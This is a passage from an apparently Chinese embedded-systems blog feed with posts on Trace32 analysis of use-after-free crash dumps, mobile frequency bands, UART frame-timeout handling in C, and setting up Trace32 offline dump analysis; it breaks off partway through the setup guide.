<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.ji5vr4tg80g.webp" alt=""  />
</p>
<p>ACK 的波形定义。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.5sx3a13uqnw0.webp" alt=""  />
</p>
<p>写数据的协议格式。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.17gbb7tta4sg.webp" alt=""  />
</p>
<p>读数据的协议格式。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.15mccybi8nc0.webp" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>使用 trace32 分析 use after free dump 问题</title>
      <link>https://hacperme.com/posts/series/dump/20230503_use_after_free_dump/</link>
      <pubDate>Wed, 03 May 2023 10:02:07 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/20230503_use_after_free_dump/</guid>
      <description>介绍 use after free 导致 dump 的两个案例。</description>
      <content:encoded><![CDATA[<h2 id="介绍">介绍</h2>
<p>use after free 是一种常见的内存安全问题，指的是在程序释放了某个内存块之后，仍然继续使用该内存块，导致程序崩溃或者出现其他安全问题。</p>
<p>use after free 问题其实包含以下情况：</p>
<ul>
<li>内存块被释放后，指向该内存块的指针被设置为 NULL ，然后再次使用，导致程序访问非法地址而崩溃。</li>
<li>内存块被释放后，指向该内存块的指针没有被设置为 NULL ，在这块内存没有再次使用之前，如果没有代码修改这块内存，那么可能程序仍能正常运行。但如果这块内存在它下一次使用之前被其他代码修改了内容，那么程序容易出现奇怪的问题，比如 heap 被破坏。</li>
</ul>
<h2 id="案例分析">案例分析</h2>
<h3 id="案例一">案例一</h3>
<p>先看第一个案例，内存块被释放后访问空指针的问题。</p>
<p>查看任务调用栈和死机原因，quec_rtos_queue_wait 的入参 msgQRef 为 0，传入了一个空指针NULL，导致后面的数据处理访问了非法内存。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/screenshot-1.37th3dolcsc0.webp" alt=""  />
</p>
<p>那么这个空指针是怎么来的呢？需要结合源码和任务调度信息来确认。</p>
<p>先看线程调度情况，dump 时正在执行的的任务是 tts_work 这个任务，上一个执行的任务是 task_app。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-2023-04-28-16-34-08-060.75p72rtzr800.webp" alt=""  />
</p>
<p>再看 task_app 的任务调用栈，在后面看到这个任务调用 quec_tts_deinit 和调用了删除消息队列的函数</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-2023-04-28-16-35-33-855.4ngdkadkbiu0.webp" alt=""  />
</p>
<p>tts_work 的任务栈中调用quec_rtos_queue_wait之后就出现 assert。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-2023-04-28-16-34-43-231.6mj9c27tilg0.webp" alt=""  />
</p>
<p>从上面可以猜测，问题原因应该是在 task_app 任务中删除了消息队列，将消息队列的句柄设置为NULL，然后刚好内核进行了一次任务调度，切换到了 tts_work 任务运行，tts_work 里面没有判断消息队列句柄是否有效，一调用接收消息队列接口便访问了空指针。</p>
<p>再看 quec_tts_deinit 的代码逻辑，去初始化的时候，先释放了内存资源，后面才删除任务，没想到删除任务之前这个任务还会运行。可能接口设计者没有考虑到 quec_tts_deinit  这里面的代码执行过程中会发生任务切换吧，导致了这个 use after free 的问题。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-2023-04-28-16-38-11-549.3sv21pq9r5k0.webp" alt=""  />
</p>
<h3 id="案例二">案例二</h3>
<p>再看第二个案例，内存块被释放后指向该内存块的指针未设置NULL，其他程序修改这段内存导致 dump 问题。</p>
<p>通过 trace32 查看任务调用栈和 dump 原因，也是访问 0 地址问题，quec_rtos_queue_release 发送消息的时候传入的地址不是一个正常的内存地址，看上去像内存被踩。然后查看队列列表，果然有一个消息队列的控制数据被破坏。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.bqq0ey6mxlc.webp" alt=""  />
</p>
<p>内存被破坏问题，需要解析 heap 使用情况，发现确实是内存被踩，但不是消息队列句柄相关内存被破坏，而是quec_rtos_mutex_create 申请的内存写越界了。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0x7e0bbea0 allocated 64 bytes by InvalidTaskName, func=quec_rtos_mutex_create                     CORRUPTED block(tail guard @0x7e0bbeec)!!
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-2023-03-25-22-32-08-094.57ievnbpr4g0.webp" alt=""  />
</p>
<p>再从 t32 看互斥锁列表（实际看信号量列表，在这个平台互斥锁也是通过信号量来实现的），果然有一个不正常的数据 7E0BBEC0。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.2ijo0zox1y20.webp" alt=""  />
</p>
<p>知道 7E0BBEC0 这个地址，怎么确定是那段代码创建的这个互斥锁呢？</p>
<p>根据经验，在创建信号量、消息队列、任务等这些操作句柄的时候，通常会定义成全局变量，可以尝试在全局变量里面查找是否有变量的值是 7E0BBEC0，从而反过来定位是哪段代码有问题。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.43t740omc4e.webp" alt=""  />
</p>
<p>通过 7E0BBEC0 可以找到 ql_sleep_flags_mutex 这个变量，以及其相关的代码，检查这段代码逻辑之后，发现没有明显的有内存写越界的地方，也就是说这段代码本身没有问题，而是其他某个地方把这段内存修改了。</p>
<p>其实在查找 7E0BBEC0 这个地址是哪个变量的值时，发现了新的线索，除了 ql_sleep_flags_mutex 这个变量的值是 7E0BBEC0 之外，还有两个变量 f_pVEParamsTable、f_pGainParamsTable 的值也是 7E0BBEC0，三个指针变量指向了同一个地址，这就是问题所在。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.6ylvnqafnv80.webp" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image.3vgzp18h9uy0.webp" alt=""  />
</p>
<p>为什么三个变量会指向同一个地址呢？</p>
<p>想到的一个可能就是 use after free 问题。看了相关代码实现，发现是在操作 f_pVEParamsTable 变量时，malloc 申请了一块内存地址为 7E0BBEC0 的空间，把地址赋值给了变量 f_pVEParamsTable，做业务的时候也会把 f_pVEParamsTable 的值赋值给 f_pGainParamsTable  变量，做完业务之后，通过 free 释放了这块内存，但由于代码逻辑的缺陷，f_pVEParamsTable 和 f_pGainParamsTable  还保留着已释放内存 7E0BBEC0 的这个值。在创建 ql_sleep_flags_mutex 相关的互斥锁时，申请内存返回了 7E0BBEC0 这个地址给 ql_sleep_flags_mutex 变量，当下一次 f_pVEParamsTable  相关代码做业务时，向原来的 7E0BBEC0  这块内存写数据，但这块内存现在的所有者是 ql_sleep_flags_mutex，内存起始地址相同但分配的内存大小不同，一写数据就写越界了，最终表现的现象是刚开始的消息队列、互斥锁内存被踩。</p>
<h2 id="总结">总结</h2>
<p>use after free 是一个常见的内存问题，由于 c 的语言特性，该问题不可避免。通过两个 use after free dump 案例的分享，一是加深对 use after free 问题的认识，二是也分享了一些排查问题思路和方法，通过任务调度顺序和任务运行的历史痕迹定位问题、通过全局变量的值定位问题代码，希望对你解决问题有所帮助。</p>
]]></content:encoded>
    </item>
    <item>
      <title>常见移动通信频段划分</title>
      <link>https://hacperme.com/posts/notes/20230502_band_info/</link>
      <pubDate>Tue, 02 May 2023 22:12:47 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230502_band_info/</guid>
      <description>常见band划分 频段 频率范围 网络制式 国内运营商 B1 上行1920-1980MHz下行 2110-2170MHz LTE FDD、WCDMA 联通、电信 B2 上行1850-1910MH</description>
      <content:encoded><![CDATA[<h2 id="常见band划分">常见band划分</h2>
<table>
<thead>
<tr>
<th>频段</th>
<th>频率范围</th>
<th>网络制式</th>
<th>国内运营商</th>
</tr>
</thead>
<tbody>
<tr>
<td>B1</td>
<td>上行1920-1980MHz<!-- raw HTML omitted -->下行 2110-2170MHz</td>
<td>LTE FDD、WCDMA</td>
<td>联通、电信</td>
</tr>
<tr>
<td>B2</td>
<td>上行1850-1910MHz<!-- raw HTML omitted -->下行1930-1990MHz</td>
<td>GSM、WCDMA</td>
<td>联通</td>
</tr>
<tr>
<td>B3</td>
<td>上行1710-1785MHz<!-- raw HTML omitted -->下行1805-1880MHz</td>
<td>GSM、LTE FDD</td>
<td>电信、联通、移动</td>
</tr>
<tr>
<td>B4</td>
<td>上行1710-1755MHz<!-- raw HTML omitted -->下行 2110-2155MHz</td>
<td>LTE FDD</td>
<td></td>
</tr>
<tr>
<td>B5</td>
<td>上行 824-849MHz<!-- raw HTML omitted -->下行 869-894MHz</td>
<td>GSM、WCDMA</td>
<td>联通、电信</td>
</tr>
<tr>
<td>B7</td>
<td>上行2500-2570MHz<!-- raw HTML omitted -->下行2620-2690MHz</td>
<td>LTE FDD</td>
<td>联通、电信</td>
</tr>
<tr>
<td>B8</td>
<td>上行 880-915MHz<!-- raw HTML omitted -->下行 925-960MHz</td>
<td>GSM</td>
<td>移动、联通</td>
</tr>
<tr>
<td>B20</td>
<td>上行 832-862MHz<!-- raw HTML omitted -->下行 791-821MHz</td>
<td>LTE FDD</td>
<td></td>
</tr>
<tr>
<td>B28</td>
<td>上行 703 – 748MHz<!-- raw HTML omitted -->下行 758 – 803MHz</td>
<td>LTE FDD</td>
<td></td>
</tr>
<tr>
<td>B34</td>
<td>2010－2025MHz</td>
<td>TDD-LTE、TD-SCDMA</td>
<td>移动</td>
</tr>
<tr>
<td>B38</td>
<td>2570 - 2620MHz</td>
<td>TDD-LTE、TD-SCDMA</td>
<td>移动</td>
</tr>
<tr>
<td>B39</td>
<td>1880 - 1920MHz</td>
<td>TDD-LTE</td>
<td>移动</td>
</tr>
<tr>
<td>B40</td>
<td>2300 - 2400MHz</td>
<td>TDD-LTE</td>
<td>移动、联通、电信</td>
</tr>
<tr>
<td>B41</td>
<td>2496 - 2690MHz</td>
<td>TDD-LTE</td>
<td>移动、联通、电信</td>
</tr>
<tr>
<td>B66</td>
<td>上行 1710 – 1780MHz<!-- raw HTML omitted -->下行 2110 – 2200MHz</td>
<td>LTE FDD</td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="按网络模式归类">按网络模式归类</h2>
<table>
<thead>
<tr>
<th>网络模式</th>
<th>频段</th>
</tr>
</thead>
<tbody>
<tr>
<td>GSM</td>
<td>B2/B3/B5/B8</td>
</tr>
<tr>
<td>WCDMA</td>
<td>B1/B2/B5/B8</td>
</tr>
<tr>
<td>TD-SCDMA</td>
<td>B34/B39</td>
</tr>
<tr>
<td>LTE FDD</td>
<td>B1/B3/B7</td>
</tr>
<tr>
<td>TDD-LTE</td>
<td>B38/B39/B40/B41</td>
</tr>
</tbody>
</table>
<h2 id="按区域划分">按区域划分</h2>
<table>
<thead>
<tr>
<th style="text-align:left">地区</th>
<th style="text-align:left">2G频段</th>
<th style="text-align:left">3G频段</th>
<th style="text-align:left">4G频段</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">亚太地区</td>
<td style="text-align:left">B3、B8</td>
<td style="text-align:left">B8、B1、BC0、BC1、B34、B39</td>
<td style="text-align:left">B1、B3、B5、B7、B8、B20、B28、B38、B39、B40、B41</td>
</tr>
<tr>
<td style="text-align:left">欧洲地区</td>
<td style="text-align:left">B3、B8</td>
<td style="text-align:left">B8、B1</td>
<td style="text-align:left">B1、B3、B7、B8、B20、B28、B38、B40、B41</td>
</tr>
<tr>
<td style="text-align:left">美洲地区</td>
<td style="text-align:left">B5、B2</td>
<td style="text-align:left">B5、B4、B2</td>
<td style="text-align:left">B2、B4、B5、B7、B12、B13、B17、B25、B26、B29、B30、B41</td>
</tr>
<tr>
<td style="text-align:left">中东和非洲地区</td>
<td style="text-align:left">B3、B8</td>
<td style="text-align:left">B8、B1、B34、B39</td>
<td style="text-align:left">B1、B3、B7、B8、B20、B38、B40</td>
</tr>
</tbody>
</table>
]]></content:encoded>
    </item>
    <item>
      <title>串口数据接收分包、粘包问题的处理方法</title>
      <link>https://hacperme.com/posts/notes/20230420_uart_process/</link>
      <pubDate>Thu, 20 Apr 2023 21:42:17 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/20230420_uart_process/</guid>
      <description>一种串口数据分包粘包问题的处理方法</description>
      <content:encoded><![CDATA[<h2 id="介绍">介绍</h2>
<p>串口是一种常见的通信外设，广泛应用于各种设备之间的数据通信。在串口通信中，设备之间需要约定通信协议，以确保数据的正确传输和解析。常见的串口协议由帧头、数据长度、帧类型、数据、校验等字段构成，这类协议设计较为完善，可以在接收的字节流中按照协议格式正确地提取一帧数据，对于出现粘包或者分包的情况也能正确解析。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230420232407103.48m3zxzs7v80.webp" alt=""  />
</p>
<p>然而，并不是所有的串口协议都设计得那么完善。有些串口协议可能没有用于同步的数据帧头和帧尾，如果一帧数据出现了分包（分多次接收），那么将无法解析出正确的数据。这种情况下，需要采取一些特殊的处理方法，以确保数据的正确解析和传输。</p>
<h2 id="解决方法">解决方法</h2>
<p>在串口通信中，数据的分包和粘包问题是比较常见的，会影响数据的正确解析和传输。为了解决这个问题，可以采用一些有效的处理方法。</p>
<p>一种常见的处理方法是加入帧超时机制。在串口接收数据时，不断地检测两个字节或者两次接收数据的间隔时间，当间隔时间超过某一值，则认为一帧数据接收完成，一帧数据接收完整之后再做数据解析和具体业务。默认的超时时间间隔可以设置为 50 ms，然后根据实际情况稍微调大或者调小超时时间间隔。这种方法可以有效地解决数据分包和粘包问题，但也会带来串口接收性能下降的问题。</p>
<p>处理逻辑可以参考下面的伪代码：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">UartInit</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 初始化串口硬件参数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    
</span></span><span class="line"><span class="cl">    <span class="c1">// 创建消息队列和ringbuff
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">rtos_init_queue</span><span class="p">(</span><span class="o">&amp;</span><span class="n">uart_queue</span><span class="p">,</span> <span class="s">&#34;uart_q&#34;</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uart_msg_t</span><span class="p">),</span> <span class="mi">20</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">rb_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">g_uart_rb</span><span class="p">,</span> <span class="n">g_uart1_rx_buff</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">g_uart1_rx_buff</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 创建一个定时器 50ms
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">rtos_init_timer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">uart_timer</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="n">uart_timer_cb</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 创建串口接收处理线程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">rtos_create_thread</span><span class="p">(</span><span class="o">&amp;</span><span class="n">uart_main_thread</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="mi">20</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="s">&#34;uart_main&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="n">uart_main_thread_entry</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="mi">4</span> <span class="o">*</span> <span class="mi">1024</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 注册串口中断回调
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">uart_set_rx_callback</span><span class="p">(</span><span class="n">port</span><span class="p">,</span> <span class="n">uart_rx_cb</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 串口接收中断回调
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">uart_rx_cb</span><span class="p">(</span><span class="kt">int</span> <span class="n">uport</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">param</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uart_msg_t</span> <span class="n">send_msg</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">send_msg</span><span class="p">.</span><span class="n">type</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">//有串口数据进来，发消息通知串口数据处理线程去读取串口数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">uart_queue</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nf">rtos_push_to_queue</span><span class="p">(</span><span class="o">&amp;</span><span class="n">uart_queue</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">send_msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 串口数据接收处理任务
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">uart_main_thread_entry</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">OSStatus</span> <span class="n">err</span> <span class="o">=</span> <span class="n">kNoErr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint32_t</span> <span class="n">read_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">recv_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">free_len</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uart_msg_t</span> <span class="n">recv_msg</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">err</span> <span class="o">=</span> <span class="nf">rtos_pop_from_queue</span><span class="p">(</span><span class="o">&amp;</span><span class="n">uart_queue</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">recv_msg</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="n">kNoErr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">switch</span> <span class="p">(</span><span class="n">recv_msg</span><span class="p">.</span><span class="n">type</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="mi">0</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1">//收到串口有数据消息。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="c1">//读取串口数据，写入到ringbuffer中先缓存，同时重新启动帧超时定时器
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 收到定时器超时消息
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="c1">// 一帧数据接收完成，进行数据解析和业务处理
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 定时器超时回调
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">static</span> <span class="kt">void</span> <span class="nf">uart_timer_cb</span><span class="p">(</span> <span class="kt">void</span> <span class="o">*</span><span class="n">arg</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uart_msg_t</span> <span class="n">send_msg</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="nf">rtos_stop_timer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">uart_timer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">send_msg</span><span class="p">.</span><span class="n">type</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 发消息通知处理线程，完成一帧数据接收
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">uart_queue</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nf">rtos_push_to_queue</span><span class="p">(</span><span class="o">&amp;</span><span class="n">uart_queue</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">send_msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>引入帧超时机制虽然解决了串口数据分包问题，但也带来了串口接收性能下降的问题。如果串口分包数据大小是固定的，比如每次 20 字节分包一次，那么还可以稍微优化一下接收速度，如果收到的数据不是固定分包字节的倍数，也可以认为一帧数据接收结束了，不必再去等定时器超时，这种方法可以优化串口接收数据的性能。</p>
<p>另外，如果多次连续发送串口数据，有可能会出现粘包现象，如果粘包对业务有影响，那么需要要求串口发送两帧数据之间的间隔要大于一定时间。最好是要求串口发送字节之间小于一定时间，比如 10 ms，发送数据帧之间也大于一定时间，比如 100 ms，这样分包和粘包的问题都得以解决。</p>
<h2 id="总结">总结</h2>
<p>在设计串口协议时，需要考虑到数据的同步、长度和校验等因素，确保数据能够正确解析和传输。没有数据同步标志的串口协议，可以加入帧超时机制解决数据分包问题，缺点就是牺牲一点串口接收数据的性能。</p>
]]></content:encoded>
    </item>
    <item>
      <title>Trace 32 离线 dump 分析环境搭建方法</title>
      <link>https://hacperme.com/posts/series/dump/20230401_t32_setup/</link>
      <pubDate>Sat, 01 Apr 2023 20:41:32 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/20230401_t32_setup/</guid>
      <description>介绍 Trace32 离线 dump 分析环境的搭建方法步骤。</description>
      <content:encoded><![CDATA[<h2 id="介绍">介绍</h2>
<p>Trace32 是一款功能强大的调试工具，它可以用于分析嵌入式系统的运行状态。Trace32 支持多种处理器架构和操作系统，可以帮助开发人员在调试过程中快速定位问题并进行调试。</p>
<p>在死机 dump 问题上，常见的一种分析手段是离线 dump 解析。离线 dump 解析是指在系统死机后，将系统内存中的数据保存到文件中，然后使用调试工具对这些数据进行分析。Trace32 提供了 Simulators 软件，可以搭建离线 dump 分析环境，帮助开发人员快速解决问题。</p>
<h2 id="安装">安装</h2>
<p>使用 Trace32 Simulators 搭建离线 dump 分析环境的步骤如下：</p>
<ol>
<li>
<p>下载 Trace32 Simulators 软件和内核解析脚本</p>
<p>首先需要从官网下载 Trace32 Simulators 软件和内核解析脚本，访问 <a href="http://www.lauterbach.com/">http://www.lauterbach.com/</a>，选择<a href="https://www.lauterbach.com/download_overview.html">Downloads</a>-&gt;Evaluation Software-&gt;download</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401195541102.1yjzs7ym5z7k.png" alt=""  />
</p>
<p>下载 Simulator for ARM/CORTEX/XSCALE 压缩包。文件是 simarm.zip。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401195317438.63myz14jucw0.png" alt=""  />
</p>
<p>访问 <a href="http://www.lauterbach.com/">http://www.lauterbach.com/</a>，选择<a href="https://www.lauterbach.com/download_overview.html">Downloads</a>-&gt;Start-Up and other Scripts</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401195727382.6qoq70op7no0.png" alt=""  />
</p>
<p>在 ARM 标题下找到 freertos 并下载。文件是 kernel-arm-freertos_20230309130728_all_files.zip。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401200023813.tctwl99utwg.png" alt=""  />
</p>
</li>
<li>
<p>安装 Trace32 Simulators</p>
<p>解压 simarm.zip</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401201040881.3154gx8cwwi0.png" alt=""  />
</p>
<p>解压 kernel-arm-freertos_20230309130728_all_files.zip 文件到 freertos目录</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401200938128.5dav0lsqe8g0.png" alt=""  />
</p>
<p>创建 8910dump 文件夹，将导出的 dump 文件和 elf 文件放到这个文件夹。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401202139622.673bxn0zdrk0.png" alt=""  />
</p>
</li>
<li>
<p>配置 Trace32 Simulators</p>
<p>将dump中的 ap.cmm 脚本文件重命名为 8910_ap.cmm，并修改里面 bin 和 elf 文件的加载路径，修改 kernel 解析脚本的路径，并配置启动自动打开某些窗口。具体修改可以参考下文中的脚本。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401202800843.6w3l5x6eub00.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401202816890.53p20kj23eg0.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230401202906005.2i40f2ibirq0.png" alt=""  />
</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
